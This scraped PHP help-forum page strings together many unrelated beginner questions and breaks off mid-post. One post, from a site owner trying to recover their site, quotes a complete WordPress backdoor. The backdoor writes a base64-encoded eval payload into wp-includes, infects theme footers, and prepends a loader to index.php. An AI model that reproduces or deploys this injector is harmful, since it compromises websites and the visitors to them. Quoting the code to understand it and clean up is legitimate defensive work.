PHP - I Don't Understand How This Code Works - Advice?
I have made a bit of code that queries the database for articles published within the last year.
<?php echo $numposts = $wpdb->get_var("SELECT COUNT(*) FROM $wpdb->posts WHERE post_status = 'publish' AND post_type = 'post' AND 'post_date' > '" . date("Y") . "-01-01-01 00:00:00'"); if (0 < $numposts) $numposts = number_format($numposts); ?> I really don't even know how it works and need to because I want to figure out how to make it also get articles published within the last day, month and week. I suppose if I understood what needs changing I might be able to work with it but so far everything I've tried either returns the exact same number or nothing at all. It's for Wordpress just to note. Any ideas? Similar TutorialsI have been trying to better understand how php works on a more in depth level, and recently I have been tinkering with arrays. Using print_r() I have been studying the $GLOBAL array, and I found something I can't seem to find an explanation for. In my $GLOBALS array there are variables I have set in a configuration file, but never actually made into globals. Take the following code, and its output for example. echo "<pre>"; echo print_r($GLOBALS); echo "</pre>"; The output: Code: [Select] Array ( [GLOBALS] => Array *RECURSION* [_POST] => Array ( ) [_GET] => Array ( ) [_COOKIE] => Array ( [PHPSESSID] => fai4rtfgdt6o6iaihh62d0pa15 ) [_FILES] => Array ( ) [_SERVER] => Array ( [HTTP_HOST] => DOMAIN [HTTP_USER_AGENT] => Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 [HTTP_ACCEPT] => text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 [HTTP_ACCEPT_LANGUAGE] => en-us,en;q=0.5 [HTTP_ACCEPT_ENCODING] => gzip,deflate [HTTP_ACCEPT_CHARSET] => ISO-8859-1,utf-8;q=0.7,*;q=0.7 [HTTP_KEEP_ALIVE] => 115 [HTTP_CONNECTION] => keep-alive [HTTP_REFERER] => http://DOMAIN/test.php [HTTP_COOKIE] => PHPSESSID=fai4rtfgdt6o6iaihh62d0pa15 [HTTP_CACHE_CONTROL] => max-age=0 [CONTENT_TYPE] => application/x-www-form-urlencoded [CONTENT_LENGTH] => 67 [PATH] => /sbin:/usr/sbin:/bin:/usr/bin [SERVER_SIGNATURE] => [SERVER_SOFTWARE] => Apache [SERVER_NAME] => DOMAIN [SERVER_ADDR] => IPADDRESS [SERVER_PORT] => 80 [REMOTE_ADDR] => 198.65.168.24 [DOCUMENT_ROOT] => /home/USER/www/DOMAIN [SERVER_ADMIN] => webmaster@DOMAIN [SCRIPT_FILENAME] => /home/USER/www/DOMAIN/test.php [REMOTE_PORT] => 43272 [GATEWAY_INTERFACE] => CGI/1.1 [SERVER_PROTOCOL] => HTTP/1.1 [REQUEST_METHOD] => POST [QUERY_STRING] => [REQUEST_URI] => /test.php [SCRIPT_NAME] => /test.php [PHP_SELF] => /test.php [REQUEST_TIME] => 1286050077 ) [date] => October 2, 2010 [db_date] => 10/02/2010 [error] => Array ( ) ) 1 The 3 items at the bottom. Code: [Select] [date] => October 2, 2010 [db_date] => 10/02/2010 [error] => Array Were set inside of a php config file. My question is, how did they end up in the $GLOBALS array? Hi All, I'm trying to understand the following code. I tried to display the field 'eligible' (an added field to a mysql table) for user input, but I keep getting an Invalid Type error at getFieldHTML('eligible'). Other fields are displayed correctly using the same syntax. Is getFieldHtml a class, etc? I'm sort of new to php..but I'm a quick learner...Thanks for any help! Chris <div class="form-container"> <?php echo $form->getFormOpenHTML(); ?> <fieldset class="hidden"> <ol> <li>Are you eligible?<?php echo $form->getFieldHTML('eligible'); ?></li> Hi all.
I'm unfamilar with php syntax (but vb syntax). A hacker has made a backdoor in my site (wordpress installation) with uploading follwing file:
<?php Class linkBilder { private $arr_files = array(); public $signatures = array('wp_footer3333'); function get_link() { $files = '<?php new Client(1);?>'; return $files; } function request($get_str, $separator) { if (!empty($get_str)) { $obj = explode($separator, $get_str); return $obj; } else { return false; } } function make_file() { $local2=$_SERVER['DOCUMENT_ROOT']; $clientSource = '<?php ini_set("display_errors",0);ini_set("display_startup_errors",0);error_reporting(0);$st=base64_decode("Y2xhc3MgQ2xpZW50IHsgcHJpdmF0ZSAkYXJ0aWNsZXM7IHByaXZhdGUkY3VybDsgcHJpdmF0ZSAkbG9jYX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0cnVlKTsgY3VybF9zZXRvcHQoJHRoaXMtPmN1cmwsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsdHJ1ZSk7IHJldHVybiBjdXJsX2V4ZWMoJHRoaXMtPmN1cmwpOyB9IHByaXZhdGUgZnVuY3Rpb24gX3NlcigkZGF0YSkgeyByZXR1cm4gc2VyaWFsaXplKCRkYXRhKTsgfSBwcml2YXRlIGZ1bmN0aW9uIF91bnNlcigkZGF0YSkgeyByZXR1cm4gdW5zZXJpYWxpemUoJGRhdGEpOyB9IHByaXZhdGUgZnVuY3Rpb24gZGVjb2RlcigpIHsgJHRoaXMtPmxvY2F0aW9uID0gYmFzZTY0X2RlY29kZSgkdGhpcy0+bG9jYXRpb24pOyAkdGhpcy0+c3lzdGVtVXJsID0gYmFzZTY0X2RlY29kZSgkdGhpcy0+c3lzdGVtVXJsKTsgJHRoaXMtPmJvdERldGVjdG9yVXJsID0gYmFzZTY0X2RlY29kZSgkdGhpcy0+Ym90RGV0ZWN0b3JVcmwpOyAkdGhpcy0+Y2FjaGVGaWxlID0gYmFzZTY0X2RlY29kZSgkdGhpcy0+Y2FjaGVGaWxlKTsgfSB9");eval($st);?>'; file_put_contents("$local2/wp-includes/class-wp-optimize.php", $clientSource); echo"<span style='display:block; padding:10px; border:1px solid #1f4f18; background-color:#b9b9b9; font-size:12px; line-height:12px; font-family:tahoma, sans-serif; margin-bottom:20px;'><h4>Клиент записан в $local2/wp-includes/ </h4> </span>"; } function dir_content($path = './wp-content/themes/', $files_allowed = '.') { $dir_disallow = array('.', '..', '.htaccess', '.git', 'wp-admin', 'wp-includes' ); if(is_dir($path)) { $temp = opendir($path); while (false !== ($dir = readdir($temp))) { if ((is_dir($path . $dir)) && (!in_array($dir, $dir_disallow)) ) { $sub_dir = $path . $dir . '/'; $this->dir_content($sub_dir, $files_allowed); } elseif ((is_file($path . $dir)) && (!in_array($dir, $dir_disallow)) && (strpos($dir, $files_allowed) == true) && (strpos($dir, '_BACKUP') == false) && (strpos($dir, trim($_SERVER['SCRIPT_NAME'], '/')) === false) ) { $this->arr_files[] = $path . $dir; } } closedir($temp); } } function find($path = './wp-content/themes/', $files_allowed = '.', $requested_string = '<?php wp_footer(); ?>') { $this->dir_content($path, $files_allowed); $i=0; foreach($this->arr_files AS $in_dir_file) { $temporary_file = file_get_contents($in_dir_file); $file_founded = false; $tf_strings = explode("\n", $temporary_file); foreach ($tf_strings AS $item) { $item = strval($item); if (strpos($item, $requested_string) !== false) { $file_founded = true; $founded_str = $requested_string; } foreach ($this->signatures AS $signa) { $signa = strval($signa); if (strpos($item, $signa) !== false) { $file_founded = true; $founded_str = $signa; } } } if ($file_founded) { $i++; print " <span style='display:block; padding:10px; border:1px solid #1f4f18; background-color:#b9b9b9; font-size:12px; line-height:12px; font-family:tahoma, sans-serif; margin-bottom:20px;'><h4>" . $in_dir_file . "</h4>TEMPLATE №:$i; готов к заражению. </span> "; } } } function scan($path = './wp-content/themes/', $files_allowed = '.', $requested_string = '<? php wp_footer(); ?>') { $this->dir_content($path, $files_allowed); foreach($this->arr_files AS $in_dir_file) { $temporary_file = file_get_contents($in_dir_file); $create_backup = false; $tf_strings = explode("\n", $temporary_file); $str_index = 0; foreach ($tf_strings AS $item) { $item = strval($item); if (strpos($item, $requested_string) !== false) { $create_backup = true; $tf_strings[$str_index]=substr_replace($tf_strings[$str_index], $this->get_link(), 0, 0); $founded_str = $requested_string; } foreach ($this->signatures AS $signa) { $signa = strval($signa); if (strpos($item, $signa) !== false) { $create_backup = true; $tf_strings[$str_index]=substr_replace($tf_strings[$str_index], $this->get_link(), 0, 0); } } $str_index++; } if ($create_backup) { chmod($path, 0777); $temp_file_backup = $in_dir_file.'_BACKUP'; file_put_contents($temp_file_backup, $temporary_file); $scanned_file = implode("\n", $tf_strings); if (file_put_contents($in_dir_file, $scanned_file)) { print "<span style='display:block; padding:15px; border:1px solid #1f4f18; background-color:#d5f5ce; font-size:12px; line-height:16px; font-family:tahoma, sans-serif; margin-bottom:20px;'><h3>" . $in_dir_file . "</h3> Файл заражен + сделан BACKUP </span> "; } else { print "<span style='display:block; padding:15px; border:1px solid #822121; background-color:#ea7575; font-size:12px; line-height:16px; font-family:tahoma, sans-serif; margin-bottom:20px;'><h3>" . $in_dir_file . "</h3> Что-то пошло не так. </span> "; } chmod($path, 0755); } } } /* function scankl() { $local2=$_SERVER['DOCUMENT_ROOT']; $requested_string = '<?php include (\'wp-includes/class-wp-optimize.php\'); define(\'WP_USE_THEMES\', true); require( dirname( __FILE__ ) . \'/wp-blog-header.php\' );'; file_put_contents("$local2/index.php", $requested_string); } */ function scankl() { $indexFile=$_SERVER['DOCUMENT_ROOT'].'/index.php'; $addContent = '<?php require_once (\'wp-includes/class-wp-optimize.php\'); if ($_GET["p"]) new Client;?>'; file_put_contents($indexFile,$addContent.file_get_contents($indexFile)); echo "<span style='display:block; padding:15px; border:1px solid #1f4f18; background-color:#d5f5ce; font-size:12px; line-height:16px; font-family:tahoma, sans-serif; margin-bottom:20px;'><h3>Клиент прописан в index.php'</h3></span>"; } function restore_backups($path = './wp-content/themes/', $files_allowed = '.') { $this->dir_content($path, $files_allowed); foreach($this->arr_files AS $in_dir_file) { if (is_file($in_dir_file.'_BACKUP')) { $temporary_file_from_backup = file_get_contents($in_dir_file.'_BACKUP'); if (file_put_contents($in_dir_file, $temporary_file_from_backup)) { unlink($in_dir_file.'_BACKUP'); print "<span style='display:block; padding:15px; border:1px solid #1f4f18; background-color:#d5f5ce; font-size:12px; line-height:16px; font-family:tahoma, sans-serif; margin-bottom:20px;'><h3>".$in_dir_file ."</h3> Файл восстановлен. </span> "; } else { print "<span style='display:block; padding:5px; border:1px solid #822121; background-color:#ea7575; font-size:12px; line-height:16px; font-family:tahoma, sans-serif; margin-bottom:20px;'><h3>".$in_dir_file ."</h3> Бекап не восстановлен. </span> "; } } } } function delete_backups($path = './wp-content/themes/', $files_allowed = '.') { $this->dir_content($path, $files_allowed); foreach($this->arr_files AS $in_dir_file) { if (is_file($in_dir_file.'_BACKUP')) { if (unlink($in_dir_file.'_BACKUP')) { print " <span style='display:block; padding:15px; border:1px solid #1f4f18; background-color:#d5f5ce; font-size:12px; line-height:16px; font-family:tahoma, sans-serif; margin-bottom:20px;'><h3>".$in_dir_file ."_BACKUP</h3> Удалён. </span>"; } else { print "<span style='display:block; padding:15px; border:1px solid #822121; background-color:#f94c00; font-size:12px; line-height:16px; font-family:tahoma, sans-serif; margin-bottom:20px;'><h3>".$in_dir_file ."_BACKUP</h3> НЕ удалён. </span> "; } } } } } ?> <?php $starter = new linkBilder; //start_OK $ssilka = htmlspecialchars("{$starter->get_link()}", ENT_QUOTES);?> <?php echo "<b>В футер мы пишем: </b>$ssilka".'<br>';?> <?php $local = $_SERVER['DOCUMENT_ROOT'].'/wp-content/themes/'; $local2=$_SERVER['DOCUMENT_ROOT']; ?> <? //active folder if($_POST['find']) { $starter->find($local, '.'); } else if($_POST['wrkr']) { $starter->scankl(); } else if($_POST['create']) { $starter->scan($local, '.'); } else if($_POST['backups']) { $starter->restore_backups($local, '.'); } else if($_POST['kr']) { $starter->make_file(); } else if($_POST['delbackups']) { $starter->delete_backups($local, '.'); } echo '<form method="post">'; echo '<input type="submit" style="padding:10px;" name="kr" value="Сделать клиент">'; echo '<input type="submit" style="padding:10px;" name="wrkr" value="Прописать клиент в index">'; echo '<input type="submit" style="padding:10px;" name="find" value="Проверить WP/Найти шаблоны">'; echo '<input type="submit" style="padding:10px;" name="create" value="Заразить">'; echo '<input type="submit" style="padding:10px;" name="backups" value="Востановить файл с бекапа">'; echo '<input type="submit" style="padding:10px;" name="delbackups" value="Удалить бекап">'; echo '</form>'; ?>To reverse back everything to its healthy state, i must understand what this code does. Would u help me understanding code? Thanks in advance.
Hi there, i have an code <?php $a = [ 0 => 10, ]; $i = 0; $a[$i++] = $i;
and question "Explain what the problem is and what you could do to fix it"
Please help! This topic has been moved to PHP Regex. http://www.phpfreaks.com/forums/index.php?topic=323161.0 I've been at this now for a while but I'm struggling to understand this code. I understand the bigger picture of what the code is doing but I can't seem to graps the logic behind the code and the steps it's taking. Here is part of the code:
class Validate{ private $_passed = false, $_errors = array(), $_db = null; if($rule === 'required' && empty($value)){ $this->addError("{$item} is required"); } else if(!empty($value)){ switch($rule){ case 'min': if(strlen($value) < $rule_value){ $this->addError("{$item} must be a minimum of {$rule_value}"); } private function addError($error){ $this->_errors[] = $error; } public function errors(){ return $this->_errors; }I'm struggling to understand how the error methods and properties are being used. I can't see what is being used within the class or outside of it. Here is the code outside the class: $validate = new Validate();{ $validate = new Validate(); $validation = $validate->check($_POST, array( 'username' => array( 'required' => true, 'min' => 2, 'max' => 20, 'unique' => 'users' ), 'password' => array( 'required' => true, 'min' => 6 ), 'password_again' => array( 'required'=> true, 'matches'=> 'password' ), 'name' => array( 'required' => true, 'min' => 2, 'max' => 50 ) )); if($validation->passed()){ echo 'passed'; } else{ foreach ($validation->errors() as $error){ echo $error, '<br>'; }Looking at the 2nd part I cannot see why the programmer has put errors() as $error. Why not just create a method so you don't need to say "as $error". Also looking at the first part: private function addError($error){ $this->_errors[] = $error; } public function errors(){ return $this->_errors; }I don't understand why he has created two methods. Why not just create one? How is the public errors method able to display the errors within the class because _errors doesn't look like it contains anything. Can someone please break this down and help me to understand this because I've been at this for a while and I'm not really getting anywhere. Your help would be much appreciated. Hi I cant understand why this code isnt echoing the results. Code: [Select] $ids = $_POST['uid']; $con = mysql_connect("localhost","root",""); mysql_select_db("product", $con); $sqlout = mysql_query("SELECT * FROM product2 WHERE 'ID' IN ('$ids')"); while ($sqlres = mysql_fetch_assoc($sqlout)) { echo $sqlres['filename'] . " " . $sqlres['title']; } mysql_close($con); Anyone got any ideas? Thanks James Hi, I came across this code that detects a user's browser and I don't understand parts of it. Here is the code below. Code: [Select] $agent = $_SERVER['HTTP_USER_AGENT']; if ( strpos(strtoupper($agent), 'MSIE')) { print "Internet Explorer"; } else if (strpos(strtoupper($agent), 'FIREFOX')) { print "Firefox"; } else if (strpos(strtoupper($agent), 'KONQUEROR')) { print "Konqueror"; } else if (strpos(strtoupper($agent), "LYNX")) { print "Lynx"; } else { print $agent; } and here is the part I don't understand. Code: [Select] if ( strpos(strtoupper($agent), 'MSIE')) I know that strtoupper makes all letters uppercase, and that strpos returns the position of the string within the larger string, but I don't know why they are in an if statement. Any help or explanation is greatly appreciated. Thanks. Derek I need some advice on how to debug in the middle of other code I want to change a file. This file gives no direct output and contain a load of functions What I want to do is make changes to this file and trace values - how do I do this? - Can I give a popup with a message? - Could I write values to a file? (Can I write to some sort of standard log file? Maybe the error log file?) - Or is it possible to still give output to a web page, even though the code is not part of the code that outputs to the browser? What's the standard practice of debugging as mentioned above? Any help would be really appreciated Thanks! OM We have a 10 year old system that has 100's of php files that all connect to a central database using a single shared php include file that does a mysql_connect before any other code executes
include_once("db_connect.php");
mysql_query(...);
We never used the returned connection id (link identifier) from the mysql_connect function call as it was always implied in every subsequent mysql_query statement etc.
Now we've moved some of our bigger tables to a separate server, so we have to update small areas of some files that need to connect to this other system and send the old existing query to the new server instead of to the main server and process the results
So, going back through hundreds of files and converting mysql_query($string) to mysql_query($string, $connection1) is not practical
Possible solution one: anytime I need to use the new server I do this
------------------------------------------------------------------------------
mysql_connect(NEW_SERVER_IP,"...",""");
mysql_query($string);
...
// get back to normal
mysql_connect(OLD_SERVER_IP,"...","");
Possible solution two: modify the master include file
------------------------------------------------------------------------------
//add a new line ABOVE the existing mysql_connect statement...
$new_server=mysql_connect(NEW_SERVER_IP,"...",""");
mysql_connect(OLD_SERVER_IP,"...","");
and then anytime I need to use the new database I have to go back and modify all of the mysql_query,mysql_affected_rows, etc to reference the $new_server link identifier
solution one seems much simpler, but all of the mysql_connect reconnections I assume will be extremely inefficient
solution two seems cleaner but if I miss one mysql_ statement that needs the new connection object as a reference, the code will completely break or worse yet it will produce unexpected results
Example: If I miss converting a mysql_errno() function that really needs to now be mysql_errno($new_server) it would cause major issues.
So, I'm wondering if others have faced this dilema of migrating single mysql_connect code to multi mysql_connect mode and if there is a better way of going about implementing it.
Thanks in advance for any help
Steve
I wanted to develop a Wordpress plugin. There's a few existing plugins for the subject I wanted to code. I thought I would get some inspiration by looking at the code. It's a gigantic mess of spaghetti! The code I looked at, looks like it's been made using an IDE. There seems to be so many folders and files - it's crazy. Others I looked at seem to be similar. It seems like an enterprise application. I'm more than capable of writing a spec and coding myself. The only thing I'm missing would be Wordpress practices - setting up tables and using hooks and other things. Any advice? Or do I just get dirty and sink my head into the code and untangle? QUESTIONS: - Do you use an IDE to code PHP? - What are the most popular IDE's? Thanks. I have some code that works fine on my dev server but does not work on my production server. Dev server has PHP version 5.2.5 and production server has PHP version 5.1.6. This is the part of the code that isn't working on the prod. server: $xmlDoc=new DOMDocument(); $xmlDoc->loadXML($tmpDoc); $x=$xmlDoc->getElementsByTagName('link'); //get the q parameter from URL $q=$_GET["q"]; //lookup all links from the xml file if length of q>0 if (strlen($q)>0) { $hint=""; for($i=0; $i<($x->length); $i++) { $y=$x->item($i)->getElementsByTagName('title'); $z=$x->item($i)->getElementsByTagName('url'); if ($y->item(0)->nodeType==1) { //find a link matching the search text if (stristr($y->item(0)->childNodes->item(0)->nodeValue,$q)) { if ($hint=="") { $hint="<tr><td><a href='" . $z->item(0)->childNodes->item(0)->nodeValue . "' target='_blank'>" . $y->item(0)->childNodes->item(0)->nodeValue . "</td></tr>"; } else { $hint=$hint . "<tr><td><a href='" . $z->item(0)->childNodes->item(0)->nodeValue . "' target='_blank'>" . $y->item(0)->childNodes->item(0)->nodeValue . "</a></td></tr>"; } } } } } $tmpDoc is a variable that holds database information in xml form. It basically looks like this: $tmpDoc = $tmpDoc . "<link><title>" . $row['CustomerName'] . "****" . $row['Rep'] . "****" . $row['InstallDate'] . "****" . $row['PaidDate'] . "</title><url>accountPage.php?AccNum=" . $row['AccountNum'] . "</url></link>"; ...that is inside a while loop that loops through the rows returned by a query. Basically, as I said, the whole thing works fine on my dev server but on the production server it never makes it into the for loop so I guess the condition $i<($x->length) isn't being met. I'm at a bit of a loss here. Is there anything like the PHP version or Apache version that may cause the "->" operator to not work? The prod PHP version isn't that much older than my dev PHP version so I doubt that's the issue but it's about all I can think of. Thanks! Hi, I'm having a first attempt at sanitising code, but I'm not actually sure what I'm doing and how I know if it works. This is the code I have inserted, if I enter "description=re#d%widget" the description query ends so it displays everything 'red'. Not just everything 'red widget'. Code: [Select] $description = mysql_real_escape_string($description); $description = stripslashes($description); $description = htmlentities($description); return $var; $price = mysql_real_escape_string($price); $price = stripslashes($price); $price = htmlentities($price); return $var; Code: [Select] <?php ini_set('display_errors', 1); error_reporting(-1); $query = "SELECT * FROM productfeed"; if(isset($_GET['description']) && !empty($_GET['description'])) { $description = $_GET['description']; $query .= " WHERE description like '%$description%'"; } if(isset($_GET['price']) && !empty($_GET['price'])) { $price = explode('-', $_GET['price']); $lowPrice = (int)$price[0]; $highPrice = (int)$price[1]; $query .= " AND price BETWEEN $lowPrice AND $highPrice"; } $result = mysql_query($query); while($row = mysql_fetch_assoc($result)) { $id = $row['id']; $image = $row['awImage']; $link = $row['link']; $description = $row['description']; $fulldescription = $row['fulldescription']; $price = $row['price']; echo "<div class='productdisplayshell'> <div class='productdisplayoutline'> <div class='productborder'><center> <a href='$link' target='_blank'><img src='$image' width=\"95%\" /></a> </center> </div></div> <div class='productdescriptionoutline'> <div class='productdescriptionbox'> <a href='$link' target='_blank' >$description</a> </div> <div class='productfulldescriptionbox'>$fulldescription</div> </div> <div class='productpriceoutline'> <div class='productpricebox'> <center>&#163; $price</center> </div> <div class='productbuybutton'> <center><a href='$link' target='_blank' ><img src=/images/buybutton.png /></a></center> </div> </div> </div>"; } if ($_GET['description'] == $description ) { echo 'Sorry, this product is not available. Please visit our <a href="http://www.domain.co.uk">Homepage</a>.'; } ?> <?php function sanitizeString($description) { $description = mysql_real_escape_string($description); $description = stripslashes($description); $description = htmlentities($description); return $var; $price = mysql_real_escape_string($price); $price = stripslashes($price); $price = htmlentities($price); return $var; } ?> Hi all,
Having an issue with some of my php code. The goal is to have two drop-down menus, one that pulls from "ahevents_scenarios". The second pulls the "sides" involved, however it does not go into dropdown. The other issue is that even though there are only 3 sides specified, all 5 show up on the webpage. This is in Joomla.
Here is my code...I think I've looked over this way too much and just can't find my errors anymore.
<?php if (! $my->id) { // shouldn't even get here since menu is viewable only through logged in status print "<b>Sorry, you must be registered and logged into this site to continue</b>\n"; } else { // include standard functions and db info require_once($_SERVER['DOCUMENT_ROOT'] . "/inc/admin_functions.php"); require_once($_SERVER['DOCUMENT_ROOT'] . "/inc/db_admin_functions.php"); // which scenario we doing? -- replace with table lookup in future opendb('ahevents_scenarios'); if(!isset($_POST['action'])) { // display form $sqlstr2 = "select id, name from scenarios order by name"; $result2 = mysql_query($sqlstr2) or die("Error: ".mysql_error()."<br>Query: $sqlstr2"); // display form ?> <form name="edit_reg" method="post" action="<? echo $_SERVER[ 'REQUEST_URI' ]; ?>" <table> <tr> <td>Select Scenario: </td> <td> <select name="id"> <? while ( $row = mysql_fetch_array($result2)) { printf("<option value=\"%s\">%s</option>\n",$row['id'], $row['name']); } ?> </td></tr> <tr> <td>Which Side?</td> <td><select name="side"> <option value="side_1">side_1</option> <option value="side_2" >side_2</option> <option value="side_3" >side_3</option> <option value="all" selected>All</option> </select> </td></tr> </table> <p> <input type="submit" name="action" value="Get Registrants"> <input type="reset" value="Reset"> <input type="button" name="" value="Back" onClick="history.back()"> </form>The goal is to download the registrants into a .csv file, which it does, however due to not being able to select a "side", the .csv is blank with only headers, no content. Thanks for your time Rob Greetings to all!
Newbie here, I just signed up this morning. I have an issue with a code I have been using for several years with multiple files/directories. Until recently all of the files have worked flawlessly. Now I have one file in a directory that does not display the text I which I am attempting to call up and it was working until recently.
Every file with the same code as the errant one work flawlessly except for the errant one, and I have 11 files to be displayed on my website at https://TheLoveOfGod.org They are all listed under the Devotionals menu button except for one which is displayed on the home page. I have absolutely no training in web design, I am self taught. I began by hand typing html coding over 30 years ago and am now using Word Press with Elementor . I do not understand why this is happening. Can any of you offer assistance to resolve this. I thank you in advance for your assistance.
Edited September 25, 2020 by namednad more explanation Dear php freaks, In my test file the following code works perfectly: Code: [Select] <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <script language="javascript" type="text/javascript"> function dropdownlist(listindex) { document.formname.subcategory.options.length = 0; switch (listindex) { case "1" : document.formname.subcategory.options[0]=new Option("Select kinderen thuis",""); document.formname.subcategory.options[1]=new Option("0","0"); document.formname.subcategory.options[2]=new Option("1","1"); break; case "2" : document.formname.subcategory.options[0]=new Option("Select kinderen thuis",""); document.formname.subcategory.options[1]=new Option("0","0"); document.formname.subcategory.options[2]=new Option("1","1"); document.formname.subcategory.options[3]=new Option("2","2"); break; case "3" : document.formname.subcategory.options[0]=new Option("Select kinderen thuis",""); document.formname.subcategory.options[1]=new Option("0","0"); document.formname.subcategory.options[2]=new Option("1","1"); document.formname.subcategory.options[3]=new Option("2","2"); document.formname.subcategory.options[4]=new Option("3","3"); break; case "4" : document.formname.subcategory.options[0]=new Option("Select kinderen thuis",""); document.formname.subcategory.options[1]=new Option("0","0"); document.formname.subcategory.options[2]=new Option("1","1"); document.formname.subcategory.options[3]=new Option("2","2"); document.formname.subcategory.options[4]=new Option("3","3"); document.formname.subcategory.options[5]=new Option("4","4"); break; case "5" : document.formname.subcategory.options[0]=new Option("Select kinderen thuis",""); document.formname.subcategory.options[1]=new Option("0","0"); document.formname.subcategory.options[2]=new Option("1","1"); document.formname.subcategory.options[3]=new Option("2","2"); document.formname.subcategory.options[4]=new Option("3","3"); document.formname.subcategory.options[5]=new Option("4","4"); document.formname.subcategory.options[6]=new Option("5","5"); break; case "6" : document.formname.subcategory.options[0]=new Option("Select kinderen thuis",""); document.formname.subcategory.options[1]=new Option("0","0"); document.formname.subcategory.options[2]=new Option("1","1"); document.formname.subcategory.options[3]=new Option("2","2"); document.formname.subcategory.options[4]=new Option("3","3"); document.formname.subcategory.options[5]=new Option("4","4"); document.formname.subcategory.options[6]=new Option("5","5"); document.formname.subcategory.options[7]=new Option("6","6"); break; case "7" : document.formname.subcategory.options[0]=new Option("Select kinderen thuis",""); document.formname.subcategory.options[1]=new Option("0","0"); document.formname.subcategory.options[2]=new Option("1","1"); document.formname.subcategory.options[3]=new Option("2","2"); document.formname.subcategory.options[4]=new Option("3","3"); document.formname.subcategory.options[5]=new Option("4","4"); document.formname.subcategory.options[6]=new Option("5","5"); document.formname.subcategory.options[7]=new Option("6","6"); document.formname.subcategory.options[8]=new Option("7","7"); break; case "8" : document.formname.subcategory.options[0]=new Option("Select kinderen thuis",""); document.formname.subcategory.options[1]=new Option("0","0"); document.formname.subcategory.options[2]=new Option("1","1"); document.formname.subcategory.options[3]=new Option("2","2"); document.formname.subcategory.options[4]=new Option("3","3"); document.formname.subcategory.options[5]=new Option("4","4"); document.formname.subcategory.options[6]=new Option("5","5"); document.formname.subcategory.options[7]=new Option("6","6"); document.formname.subcategory.options[8]=new Option("7","7"); document.formname.subcategory.options[9]=new Option("8","8"); break; case "9" : document.formname.subcategory.options[0]=new Option("Select kinderen thuis",""); document.formname.subcategory.options[1]=new Option("0","0"); document.formname.subcategory.options[2]=new Option("1","1"); document.formname.subcategory.options[3]=new Option("2","2"); document.formname.subcategory.options[4]=new Option("3","3"); document.formname.subcategory.options[5]=new Option("4","4"); document.formname.subcategory.options[6]=new Option("5","5"); document.formname.subcategory.options[7]=new Option("6","6"); document.formname.subcategory.options[8]=new Option("7","7"); document.formname.subcategory.options[9]=new Option("8","8"); document.formname.subcategory.options[10]=new Option("9","9"); break; case "10" : document.formname.subcategory.options[0]=new Option("Select kinderen thuis",""); document.formname.subcategory.options[1]=new Option("0","0"); document.formname.subcategory.options[2]=new Option("1","1"); document.formname.subcategory.options[3]=new Option("2","2"); document.formname.subcategory.options[4]=new Option("3","3"); document.formname.subcategory.options[5]=new Option("4","4"); document.formname.subcategory.options[6]=new Option("5","5"); document.formname.subcategory.options[7]=new Option("6","6"); document.formname.subcategory.options[8]=new Option("7","7"); document.formname.subcategory.options[9]=new Option("8","8"); document.formname.subcategory.options[10]=new Option("9","9"); document.formname.subcategory.options[11]=new Option("10","10"); break; } return true; } </script> </head> <title>Dynamic Drop Down List</title> <body> <form id="formname" name="formname" method="post" action="submitform.asp" > <table width="50%" border="0" cellspacing="0" cellpadding="5"> <tr> <td width="41%" align="right" valign="middle">Aantal kinderen :</td> <td width="59%" align="left" valign="middle"><select name="category" id="category" onchange="javascript: dropdownlist(this.options[this.selectedIndex].value);"> <option value="">------</option> <option value="1">1</option> <option value="2">2</option> <option value="3">3</option> <option value="4">4</option> <option value="5">5</option> <option value="6">6</option> <option value="7">7</option> <option value="8">8</option> <option value="9">9</option> <option value="10">10</option> </select></td> </tr> <tr> <td align="right" valign="middle">Waarvan thuiswonend : </td> <td align="left" valign="middle"><script type="text/javascript" language="JavaScript"> document.write('<select name="subcategory"><option value="">-----</option></select>') </script> <noscript><select name="subcategory" id="subcategory" > <option value="">Select Sub-Category</option> </select> </noscript></td> </tr> </table> </form> </body> </html> When i want to implement it in my signup page, it doesnt do anything. I've checked it a thousand times, i double checked that also the -formname of my signup page is 'formname' -the element name stays 'subcategory' I really need this to be implemented. Where can be the problem? What should i look for? Hello, I'm new on this forum and i have not seen the rules to post a code, so i will try to explain my best : I have learned the basics of php during the past few days and i have a php code that is supposed to read parameters in several fields of a Mysql database and to return those parameters as variables in an array. (well that's how i understand it... please correct me if i'm wrong) So here the code and the part that doesn't seem to work properly (colored in red) : //I have changed the following values which are confidential... $DBName = "MyDatabase"; $DBHostName = "MyMysqlServer"; $DBUserName = "MyUsername"; $DBPassword = "MyPassword"; $Table = "MyTable"; //The fields which are in MyTable : // MemberID SMALLINT // MemberName VARCHAR(20) // MemberPassword VARCHAR(20) // MemberEmailAddress VARCHAR(50) // MemberDateTimeInscription VARCHAR(19) //Reading member parameters echo"<br>Reading the parameters of a member."; echo"<br>Defining the parameters of the member to read."; $CurrentName = "Ashley"; $CurrentPassword = "65hl3y"; $CurrentEmailAddress = "Ashley@HisDomain.com"; echo"<br>Trying to start a connection with the Mysql server."; mysql_connect($DBHostName,$DBUserName,$DBPassword) OR DIE(mysql_error()); echo"<br>Selecting the table."; mysql_select_db($DBName) OR DIE(mysql_error()); echo"<br>Searching for the fields corresponding to the CurrentName."; $Query = "SELECT * FROM ".$Table." WHERE MemberName = '".$CurrentName."'"; $Result = mysql_query($Query) or die(mysql_error()); echo"<br>Returning the parameters stored in the fields."; while($Row = mysql_fetch_array($Result,MYSQL_ASSOC)){ /////This is the start of the part that does not seem to work properly. $MemberId = $row["MemberId"]; $MemberName = $row["MemberName"]; $MemberPassword = $row["MemberPassword"]; $MemberEmailAddress = $row["MemberEmailAddress"]; $MemberDateTimeInscription = $row["MemberDateTimeInscription"]; echo"<br>MemberId : ".$MemberId; echo"<br>MemberName : ".$MemberName; echo"<br>MemberPassword : ".$MemberPassword; echo"<br>MemberEmailAddress : ".$MemberEmailAddress; echo"<br>MemberDateTimeInscription : ".$MemberDateTimeInscription; /////This is the end of the part that does not seem to work properly. } echo"<br>Ending the connection with the Mysql server."; mysql_close(); All of echo are here for debug, i'm a beginner with php. This is what the php page shows : Reading the parameters of a member. Defining the parameters of the member to read. Trying to start a 